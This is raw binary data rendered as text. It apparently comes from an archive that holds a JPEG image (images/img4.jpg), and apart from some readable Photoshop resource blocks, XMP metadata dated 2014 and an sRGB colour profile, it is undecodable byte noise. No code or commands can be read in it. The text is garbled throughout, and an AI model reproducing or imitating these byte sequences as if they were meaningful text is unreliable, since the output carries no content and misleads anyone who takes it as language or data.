�2D�h�}���ӡEr��|G��ږ5`V��(t���ٳb�͛6*쬼ث�f͊�+/6*�lٱW���y��ŭ`��e2������ �|i���(Fz��k��)R��\V�q�{es��N*�����R�i�YN(^�\0�~"���S�ǫ��b�������W��*
��>��UT�"ys̷�^Ԓ��ԁ�Hɠu=�w?.~k�z���������{	Ä(��������0^�2�V��ģ�|ؘ�f�1ULؙ�c}Q��f�}L�SW͈�31UB���[����?�	ʜ�pDIM��C��O|S�#�Z���@㱊1A���q�i��k����E/cLTELl"��v„4�đ;���\��P:c#Z�@$��N�7��)��b���JFXR�F>��]��)��7Ո5�P�R���pD1������2ޤat�U�ፘԁ����V=�q/'ΐ�;W;,K�ۡ�P:#��O|P]������"w���Z+��f9���ħ7�ب�f�E�Y>��g
S�q[A\Ձ#7����]�|�Ip����'l�p��q��=�Z��)Ƨ�j�g��[F�_�C�|��<L|�_���`e�����w8���N��('M�\W޽E1������P�W��(�qH�*����o�|h�
��.V��V�CZ��ֵ>�^`��J}����b12=�J�/��M�5�F2Gcn�fY�Y��Ŀ�&Ήm��>`q!��Z�/��mH�4j9I3��(�y�(Σe�jA��T�gI����W� ��f43�R;P�W��1��y�䷙`�:��Q	@P�[����p�+"׾J�ůtk�����
&w׵+<�zн��C-NA�F�v�j��@׋dP�“
���|�p���p���$���~�7�c�o��`��
O�{�~P��w-��m�Wq���Ul-����6����E�;���c��K�����q�vx��tm���O�a��s��S}b�6�C(ȍ���Ki��О�uȿ�Q�l��F�4ke��x�b�HI��[���1 ��X�� #�/�(q�T��8�N��3�	�Јl�bk:�N*��0hsPckKk�<@��A�|o��
�ʠ�_���.7�q�x���M�u�W�,���31�,W�,�SLIp]����6Q���?��H��	�rQ6��8��}����L��2�(/���a�|P�U~.�$����kk��Q����+KS��y���G�.k��W�rn<b"��,��0y{J�T���k�@���.��/�G��'�~`�.-�M8HV�X�T�X�ِ�M�ݾԟ?�’�����g��'h��Q���H�!���B'���z,K�F�+���{H�#)e�Nݘ�_epF�.�5�ϩD���K%�V��~��k���d�_�-��_�A��q�C�](&H'�P��rC,O;8�6�(�f�d�u
��%��#`���;����M2;��;\�2����p0�6����Fi����@��Ƥ;��u�q��RW�\�L�y
�:2j��V�N��h��.���w��������&Ia���EXc�J�,����E���l�h/b��i%�,��Lte4e<I_򑿗��`n����Ie��Wb�;Ӡ�ݗ3j��`=$waG�٘��w��m�~A����q"/O윘#����Qjvq���n���1�|� rS�OrcU���Xb*��6n�f(�Z�`a��
el�����2��Uu2��7�1W������+���ɞZ���f�Ou?�0���I�V��H��>�����"Z×�ƾ��������U���q�N��*?�j�.���!ԭ��a����dg	}$��ˌ\�@���@�s�����D��F䓓jT��K��Y���wc�ha��M>���z��c���ń<H�;��#}�"��F9.O)��1�ʟ���s_�8��}#��v}4���䇱�d���IX~��)�-�o���(�s<�q�`�H�
��vx��b���I�je�6ђ<;��0c��1�w�
�7рE{��rkT0�1ƀT�S���@�'��̬c��AЊ�5;��Z�3F�
�?k��Q�n����\���\�o�9w�S�7bq�ݲy�{m��Z��������a"��7T`�}^�X�����5|0����,�$b�`�m}=��B!�錘$1"Ԣ^#����q�(�o�Ɩ���^�es�zy^�Lj���4��$4RG����u�r5�(����
쟲ی�Pw�Y�R&��S��Ԧ�{9,/��Xe[�Q�7�y7^�0��8�'� �ȩ�
��E�}�h��7$~��~D򥳙m#��JQY��)_��by�����9s�G_�H�dH>l#���B �$8�K���H��Y���툷�uZ���)oQYI�G,��I�
�[��0�F�(7�CoF�O:�A�,kU�x� ?�q�ok�F�>�p�B�~:��A��F�88C����5�	f��8�h�o�~���9�}A��<��l�u›�M�nS[�3��Až��D���"P0�A�q���2���PҀ{La���ɥ\�Խ�����T���7'n�w7Y!�LOE�P1F䞀a
2-� SB���v�r�1�h�_�G�{du�#�ea�^�s�;�L�o�]O{$��Xq'lt�P��Ӿ�^2�]$�ĝ�茰����}��-W�t�~���qz2���w�+L�iv��~���6b�}�lms3PW"ں�u���I�Ur��[�l�ءnVY��_��*I�Q�ӕ��%�~ֽ��
��1#=湭�tf�:�}�c�PH>���銭�:�G䚙h��h��L�ޝ~gZ�
}��pB�n��[(�e��Jk���s� ����Z~�`�j�	��]��FIm�4�rټHl�\q�4��@��N�I�8��q!�[B�XO䝨i�ݱ��h[��a�[�ӏ�[�в�Ԯ�X�W�d�:)P&IS�n��s���f��;D6g�l<�'�$���#`!��E=[�En-C|�Ŋ��/�tZ����a�=��u�y/݌hնa�p�%����6n��̇qg�K�C<����qٺc.-VE��֝u�N�v�#�E„׈�y��g��]��w�!I�L������f��g>�',�]�.X�B#4�NJ��Ix�@�;yAQ�i/��c@N�$�����	ϩ�Y0z�ղ|h�o���囖$"9��c1��<A4��ЄH�����4�w��
��k�2_�	�s����Uޤ��ˮAp(�iZ�a�Ǘ�bh�/��q��R<rQ�+i��4�����H~�1��D�����`���/�r胲}�%x��~mu��|����SU��G�b��}AE#��ɿ
��-��8a���W/�_Ő���|���Ʀf�"?V����z�[�r5�V�$f�L*���9#�B-��e;�,������i�ʰ���S��^X}.o��H��}H-l�q<5��QB2F�poc)�&�M����
;���腻� ��4G-�d�?o���9�H&�T�7�=�,�GߜHr���3	���i��!��WA�4MŸa����M��*�)�����r��r0U�U��^
�:vŒ����;_哴�:r�i�j3J���ybm4HK
���0��f���-�S�][��i�uv�MNRDkw$[����#}�E��?���a}�:���'�o钻kTD`njs�ь�y!=��`�b���}�}���C��+�� u��>G@�8��c��@xc���ѯI�Q�1�
�� �ӈ���Z6k��"Ͱ�kZ��6�^�w��;�1���&�=H�����*�Q��)ጎ���U'Pj�S�Ƒ�*>=����4Z�<0wj���T�FEA��#L�#c�܁O׃ໂ��5����8�#�8�Q�=MpQ��cL�;���A�+�z�S#m�['��jG��|�j~z��,�+����-�'/�8����|G~�nS?�mn;��N��yz���� �Q�q$���N��}َZ���78"#�\�N\��W@;�PP�pRJ�����F�ɵ#��1~U�7���+O�7w��n�W=�[���J(@�3�y��Z�LED{��8@��2���p�#؟�]�NcRG`r���t�L5b}7��z�&W���x��(�;�x��'|����j{�3�i���y�u�u��
ϧ�A��~<�
-R��bs)�Em5en���n��#f�TY#5p8�c�Q��S7!���71���҂����]��Y�܋q�\�EFǢcA�0�^B����6ޝ��6��9�����v�튯��@���N�kى�=u�:r?A�
�V�T��<h����e�z@�ܿ��vf�g=#a�Ѷ��\E���@��̄'��.�.\F���Ht�y�%Ԇ�#����m���#��6V{�$tA�124�!��9l��iif4�r�S�;�H��vʝ����'r�9�1���������NI���2� �%r�$��&Ҩ
<�n��͸����F'��CV`��qK�+�I5����ζ�-<2#�-M?I��Z;�M�90h،Ɛ���. ���[���q~��3�V�K{�+ʕ���,r�i&s^�l���H�_2���y�(0M��Ez�1�No�|�	��-R-�|�:i�d0�[�����e;P9��*���tU���1�S"h�FHFP�L���5��0���#t9�⺑:1>Ve���N]X�^�/W�7�W�!1k~�8'��p�˹j=��"�x�oM�c�T��"����P澋��D��p*F$5�
��	d��AH�o�'cV&��bsK�d�\Z[�m;6�@��9R�if+#_�:��7A�!���Ϯ�z�?���*}0���#���|�}���fD4��s��[��W}2I��u"��p'nD֘NĻbY�rǩ���L�0�~�N.L�2�&��3b��ꌓ]B3q��x�N{ci�������`�6‰d���g[Ԗ�z}Zف��?會�$��\�K�]96Y
T��	��^���@�D���
S���&�\�b���l�xck�����k�U�'lU���{�N�%u�9�D�l����8�9T�&C���q%8񐥵`ا�i����im���Ѭ�p����"����� S&�JT��#V�B;Ȅ��c���F��Q���:�z�]����jz��XK9,������\�0|Jou��-R�zk��
�I!,ē�s�Pr�#�yJR�F���69P⪸x�R��N.�)�Ȧ���X
U�XQ��\*"1�"#�/��p�*{bލ:�8W�G��B!j'�
�����U4*A�b�
A6�O}���54�0l�^@�aHX��:z=T͉�AW�j�u�\(T�j�u��B_
��g�G���Οu���^j��<���	���ȧ��qǾ6+��\�
��Q��W�����W����ubr��PqNJS#�Ǫ��ژ�D�\��*���\1��ZoҸ�\�P�S��
w���lT&���v�=��˾D�1M�b��W��(���0a��j�QV2v�޾��J��n�pt�"PE��4�v�0M�.b�0ƻ�yre�R���PƔ=3��M�%>���N~���]�s�i^��ӗ�̬KD����r��so�b��7,O|�⮘�NB<�8���j��k�_1p�Z�$�����ĕ�������8H�l�c+�K��o�u���p��w��images/img4.jpg000060400000064440150710775200007363 0ustar00����ExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:27 19:32:44����&(.�HH���Adobe_CM��Adobed����			



����"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�T
 �x$�=進Ku�@!�X�m�
��+C�{�����Z�¢���9
ը*t��9��\Rk��M�y���!�=S�WH��ƃUu��-�Ԭi
'���[���q��q����%�%jjf�(;
��W��pB�{����Q8��
�pQ/�U����g	���pP.	q"����
PR`��2�tDK-��. ,̞��I�`�Bc�R:�g�g5�{,,����i��υ�_����1�L��M���\�<R<-�?X��ذ��\%�й�_�o�2
ûm��Y�&̻�{��a���쥲T� �'��t����shs<^�p]_N����G���~�~��%�4A|��o��]�B?�ԌG�/��(����S��T��eȴ��}�W�xk��˯�H���4C��ߊc�Vs
ަ������HFG��#rˌM�!U��,���5��䈉�B2�(9�V!�E�K�N��u�MG=�n��[xh���;G'�kH��q˺x����.�e]Uw���г�r��vʆ抌w
��@߆1VC�ֺ��.ht�k�ny;Iq��t��*���>�sZt��c�qm��Z<D�	�[)<:��E�
��H1�E��u����W����;{I}��{,J+�›Hz����R�t
�f�
ш@�@�RT�tov���k�;w(�{��x�F��S��.���Lj!t����4��/L�0���Z`�ө^�'�x��cC&t\?�L�/�ҳR�u�.���d��ۭV��`%��$��y�O��9ه�^�qq�ᄃ�Ǐ�{��������cj�:K��t��i���G�>/?h�	�dw�ּX�+���?�F�Z���K�W�V>6K|��q�4���W�6����N�d}���Q?�S�g��z����S#k>�q�ٹ{?���Myd�T��Ҁ���w�Ԣ��A=�7I�J�̗3��]h����:W�3��V�+g��ON�I���l{���yr�u���r���vU3qWkfЫ�5*�ݦ��4IH����H�l��JCEu����#@j�	4�W�ik�$.�aae��	ql9�|B����j��m��8[�'���^=b�TG��*�$����#/t����7W�Z�]�i���U�gg}�ܐ�um%���F.�ϫt[o�h��T���gb��t����+����'F��o�=O��ys�˄���C�c��L�;7�v�-s��ۖ�"}z��zn��L�6?�B�w���5�}e���Z�狺�h�\BC�P�Ko�j��n^Qu���fFC�m�8��d�Ǘ�GZ�(H�2�N.�D�I$��'RI� �	�9b�'I%-�N�rW�}G��V=u���P~K��
�[SO��l�6e=����j�Iw���T�����q�K���Hp�;#�{O�Y�mr�����?KR|I�6Et#z���Ȧ���
c\�xTY�yY�S<���u*�bd]ς6��9�ȼ�����D6�Tf��wm1��X�hl�a�G��
�������0;�D�F�_��d	�^wӰ����1�
�����W�Q�7��f0�.h�!�x*,�ʩ��d���"]�~Mv[Xk���ت��</��xvo�����K��%o�d}�
̀$�}�F< �y�r%C��}Y���d�!�1:_�7du����:^7��%��o�K��S�����M�X���&��:��3c;s���	���Kξ�u�ο�]���h1����W����{��[�ģ��|��N,p���?Y_/�m���oUϷ?:�S"�.?���T�̪��UCQ!(R5��%
P���~VEx�պ식����;�#���Rw+W��V��u���G:�`��:}/�?�Ϳ�W��ϫ�����ᙹz9�`�ǯ���e���_���ݚ��4k@
h�֏��d������U}K7(�g���e�4���.C��ٿ�g����
;@B������It��S��1�����YO=��H�h�,�,lV伇T�����i�c���ݶ<V�h���tsF�'gB�'���9G?���N���5��M�ٯ>_$u��HkAq&�]oH�����ۖ��ξ�9��˘ò�r����2���i�ckp$#h)�&c@u_��ĉ��h��~���Ye
�mfA�+e^�R����u,��:>�6����/�.��.��ķfIg�t�%3��gB_��C�����؃��!ee����i�kIȵ�1�o���'��Ѯ*�����ф�;�z]�p��inݕ~o�/��m?�˿���7��G��M���O�o�K�m,�w�[�����_S}���:<R&�Cj�,qc�8I9hJF�0��߬��`�o�
=3ۅ�t���?���W�&, ����kA/�����据��ۿ�q�닌���c�T·�q�$��V�?駵�~D�~�USmֲ�X�m�º�h�9�;Y[?��$�X�yY�Ua��쌫ݲ�Y�~'��5��-w���b����T���b�܎�{c+,p�.&�}'�9����
��C�?��Cm�oU�le^5o?d�?���j,��ض칣���K�Yh^FDIV�n�	��u�$R�b�P�2@+' ��F��.'UBêh^t����:�b��Hu=�kIz�k��t�+�%k�LF��uM��)kOQh���G�*��А�OmT�����H��G��M9"��bA?zi�#����nOQɩ��k���и
v���^���q(��emhh�G/��R���e��t�;�ND���aUm�,��]E�?�ۑ`%�i$V���9��Ϣ�-x��[����x9��7��:��s��4�[��W��G�e~�zK� �A^w���k�Y0��$~넏��G����O�����?F܀m��1��z��o�*��i�[��7���浥�;X�\��	q�5�%�y"��i��7�r�k\��eU���r���d3��X��6�[T�C���2������b_^~8���וG"��;�N��?�hݭ�7����P~��'z��\�	��]˾�]�g����T~��H���mϳ$fݷf#�~��k�}���g�c?@�*���]sC*�I��%�Y�,���W.{�{�a	_�I���
O#/��n�g�Z���$��n[]0�6؈����궺VU���N��c��湧U&�9ߊ�������J4�����0!�y"
<��X6�U`cy"7���_R��nW�c�Cg#��S���9�Ge�5Y���98�my搒N;}���ڂ�`���k{�Yq��_���X)�Lr�
�ƞU��0��O��刮�Yc~�o��\�sU��uQ�"�j�u�6��%�qB;�����oJ����X�ɭ�?B�Z~��	��[��Ewىw�[U���/Y���wz�����]UC1Ɍ�h�!�k�.k�F�s��a�|�تשw���׆7٬����,�۫�����z�mϛ���̕d4��[,�>���9�;H3�K���?z��[Zf��;��	)�2�o�S{�?ܲ��x��L2	:54���9
��kŃڭt�ݺH����Z=;�6��<{�!�⢞=,3c�.�����YHS4ƨ�	�@�t�����ܤ,b���6�7B�i$���Y�'��*��{����E���Lq�x�u}'���H\�q��N��;��	��@!����O�ʰWEB\��Z��s��}i���2
l�+�H��~���Xm����c�����ǯ��C��XSDi�Ց@eU�g]T22X�U����vW��A�댿@{#kR?4�
��:�"�^-5�bT�u��%%#���9YnKc�Uwc馊gw�IM�:��N���WuOo3l��������Bap��2S9�v�������0��X@��<T[����[�8>
�(��F��U��q��D&9�+����Ԏ&��� ��6���\f!q����aN�@�J���;@5
�Wq�²�8񱝵r�F 
�.;��`��b4�7�y�ed��y�Y^4����\�Yu��K�u����ѠB���7�u>*Ǩ��M���&��\��GxO���r��f9P��r r�0yIL�=�A옸e$��h�Z`�nPt9%?����Photoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMI��
Untitled-1��nullboundsObjcRct1Top longLeftlongBtomlong�Rghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong�Rghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM����,����Adobe_CM��Adobed����			



����"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�T
 �x$�=進Ku�@!�X�m�
��+C�{�����Z�¢���9
ը*t��9��\Rk��M�y���!�=S�WH��ƃUu��-�Ԭi
'���[���q��q����%�%jjf�(;
��W��pB�{����Q8��
�pQ/�U����g	���pP.	q"����
PR`��2�tDK-��. ,̞��I�`�Bc�R:�g�g5�{,,����i��υ�_����1�L��M���\�<R<-�?X��ذ��\%�й�_�o�2
ûm��Y�&̻�{��a���쥲T� �'��t����shs<^�p]_N����G���~�~��%�4A|��o��]�B?�ԌG�/��(����S��T��eȴ��}�W�xk��˯�H���4C��ߊc�Vs
ަ������HFG��#rˌM�!U��,���5��䈉�B2�(9�V!�E�K�N��u�MG=�n��[xh���;G'�kH��q˺x����.�e]Uw���г�r��vʆ抌w
��@߆1VC�ֺ��.ht�k�ny;Iq��t��*���>�sZt��c�qm��Z<D�	�[)<:��E�
��H1�E��u����W����;{I}��{,J+�›Hz����R�t
�f�
ш@�@�RT�tov���k�;w(�{��x�F��S��.���Lj!t����4��/L�0���Z`�ө^�'�x��cC&t\?�L�/�ҳR�u�.���d��ۭV��`%��$��y�O��9ه�^�qq�ᄃ�Ǐ�{��������cj�:K��t��i���G�>/?h�	�dw�ּX�+���?�F�Z���K�W�V>6K|��q�4���W�6����N�d}���Q?�S�g��z����S#k>�q�ٹ{?���Myd�T��Ҁ���w�Ԣ��A=�7I�J�̗3��]h����:W�3��V�+g��ON�I���l{���yr�u���r���vU3qWkfЫ�5*�ݦ��4IH����H�l��JCEu����#@j�	4�W�ik�$.�aae��	ql9�|B����j��m��8[�'���^=b�TG��*�$����#/t����7W�Z�]�i���U�gg}�ܐ�um%���F.�ϫt[o�h��T���gb��t����+����'F��o�=O��ys�˄���C�c��L�;7�v�-s��ۖ�"}z��zn��L�6?�B�w���5�}e���Z�狺�h�\BC�P�Ko�j��n^Qu���fFC�m�8��d�Ǘ�GZ�(H�2�N.�D�I$��'RI� �	�9b�'I%-�N�rW�}G��V=u���P~K��
�[SO��l�6e=����j�Iw���T�����q�K���Hp�;#�{O�Y�mr�����?KR|I�6Et#z���Ȧ���
c\�xTY�yY�S<���u*�bd]ς6��9�ȼ�����D6�Tf��wm1��X�hl�a�G��
�������0;�D�F�_��d	�^wӰ����1�
�����W�Q�7��f0�.h�!�x*,�ʩ��d���"]�~Mv[Xk���ت��</��xvo�����K��%o�d}�
̀$�}�F< �y�r%C��}Y���d�!�1:_�7du����:^7��%��o�K��S�����M�X���&��:��3c;s���	���Kξ�u�ο�]���h1����W����{��[�ģ��|��N,p���?Y_/�m���oUϷ?:�S"�.?���T�̪��UCQ!(R5��%
P���~VEx�պ식����;�#���Rw+W��V��u���G:�`��:}/�?�Ϳ�W��ϫ�����ᙹz9�`�ǯ���e���_���ݚ��4k@
h�֏��d������U}K7(�g���e�4���.C��ٿ�g����
;@B������It��S��1�����YO=��H�h�,�,lV伇T�����i�c���ݶ<V�h���tsF�'gB�'���9G?���N���5��M�ٯ>_$u��HkAq&�]oH�����ۖ��ξ�9��˘ò�r����2���i�ckp$#h)�&c@u_��ĉ��h��~���Ye
�mfA�+e^�R����u,��:>�6����/�.��.��ķfIg�t�%3��gB_��C�����؃��!ee����i�kIȵ�1�o���'��Ѯ*�����ф�;�z]�p��inݕ~o�/��m?�˿���7��G��M���O�o�K�m,�w�[�����_S}���:<R&�Cj�,qc�8I9hJF�0��߬��`�o�
=3ۅ�t���?���W�&, ����kA/�����据��ۿ�q�닌���c�T·�q�$��V�?駵�~D�~�USmֲ�X�m�º�h�9�;Y[?��$�X�yY�Ua��쌫ݲ�Y�~'��5��-w���b����T���b�܎�{c+,p�.&�}'�9����
��C�?��Cm�oU�le^5o?d�?���j,��ض칣���K�Yh^FDIV�n�	��u�$R�b�P�2@+' ��F��.'UBêh^t����:�b��Hu=�kIz�k��t�+�%k�LF��uM��)kOQh���G�*��А�OmT�����H��G��M9"��bA?zi�#����nOQɩ��k���и
v���^���q(��emhh�G/��R���e��t�;�ND���aUm�,��]E�?�ۑ`%�i$V���9��Ϣ�-x��[����x9��7��:��s��4�[��W��G�e~�zK� �A^w���k�Y0��$~넏��G����O�����?F܀m��1��z��o�*��i�[��7���浥�;X�\��	q�5�%�y"��i��7�r�k\��eU���r���d3��X��6�[T�C���2������b_^~8���וG"��;�N��?�hݭ�7����P~��'z��\�	��]˾�]�g����T~��H���mϳ$fݷf#�~��k�}���g�c?@�*���]sC*�I��%�Y�,���W.{�{�a	_�I���
O#/��n�g�Z���$��n[]0�6؈����궺VU���N��c��湧U&�9ߊ�������J4�����0!�y"
<��X6�U`cy"7���_R��nW�c�Cg#��S���9�Ge�5Y���98�my搒N;}���ڂ�`���k{�Yq��_���X)�Lr�
�ƞU��0��O��刮�Yc~�o��\�sU��uQ�"�j�u�6��%�qB;�����oJ����X�ɭ�?B�Z~��	��[��Ewىw�[U���/Y���wz�����]UC1Ɍ�h�!�k�.k�F�s��a�|�تשw���׆7٬����,�۫�����z�mϛ���̕d4��[,�>���9�;H3�K���?z��[Zf��;��	)�2�o�S{�?ܲ��x��L2	:54���9
��kŃڭt�ݺH����Z=;�6��<{�!�⢞=,3c�.�����YHS4ƨ�	�@�t�����ܤ,b���6�7B�i$���Y�'��*��{����E���Lq�x�u}'���H\�q��N��;��	��@!����O�ʰWEB\��Z��s��}i���2
l�+�H��~���Xm����c�����ǯ��C��XSDi�Ց@eU�g]T22X�U����vW��A�댿@{#kR?4�
��:�"�^-5�bT�u��%%#���9YnKc�Uwc馊gw�IM�:��N���WuOo3l��������Bap��2S9�v�������0��X@��<T[����[�8>
�(��F��U��q��D&9�+����Ԏ&��� ��6���\f!q����aN�@�J���;@5
�Wq�²�8񱝵r�F 
�.;��`��b4�7�y�ed��y�Y^4����\�Yu��K�u����ѠB���7�u>*Ǩ��M���&��\��GxO���r��f9P��r r�0yIL�=�A옸e$��h�Z`�nPt9%?��8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-27T19:32:44-08:00" xmp:MetadataDate="2014-01-27T19:32:44-08:00" xmp:ModifyDate="2014-01-27T19:32:44-08:00" xmpMM:InstanceID="xmp.iid:c8a3ec54-f930-5847-a576-bdc2ea15585d" xmpMM:DocumentID="xmp.did:c56184dd-6ae8-9a45-8898-7659385c7841" xmpMM:OriginalDocumentID="xmp.did:c56184dd-6ae8-9a45-8898-7659385c7841" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:c56184dd-6ae8-9a45-8898-7659385c7841" stEvt:when="2014-01-27T19:32:44-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:c8a3ec54-f930-5847-a576-bdc2ea15585d" stEvt:when="2014-01-27T19:32:44-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed����





		
			
����"�����	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?�*!�\\(�W�� �e�d��ǁ�l���"Ryք�"���T�6�L��f�@2`C^�8��+�Qo1�CF<Wp���&���>T����m�Pa�J3al��srC�`�	E�#"Hk@�p{cM��FQQ�җ�a�6����o�����a�fPcJl$�5��ؙ�_7(1�
�q�)������a��cLc
�ZP֊{b-b���&c�[I�?���ã�B�x��o���hب|��s%�a[�oS�(�'l)U���e�q&�Ȓ�!���=�a\�!��#2^�1��*ps���r��2E���Z��u�<�g㑹��~���pDO�6�Fc*NQkQo����k�[���w�2����c-H"���Bl�s�#�K��P�{L�YkV�*r�W�䍎m<B\�x�Lw<.T�9��2&KH�yE��ǎ4ݯ�0���_���9F�|q��S����0��0�%__	k�\��ZDƙ09��KH�&0Ɂ�C�4�0��2c}Lf8�\������H6��Tf4\���+�<�0<�1�*ƙ&"$�e�p��̖���r=q�X���%8��Fl�"����V�y"�����HV�=[�R��k��x��C�b/$��W��0B�%SA�W�Z�kZ�Ȧ�!!=ώ_�w7Nc��W.�2qD�r��uAQ���9|r�)�Cロ5�SO`��,�~�5�"�S:�4�m
ǩE��6.��|���^f���I�e�*7�3�r_s�o#�����߾W(
4)�Io���Zu�v������Iǵ�9G}�E�X�Ŕd��\8�ڪ<rQ��t�u�t#rw���Ƹ�!`��b�Dz-m��6��|F��xOG$1���o�^�MŹ��r�?=�x�z��ZႽPK
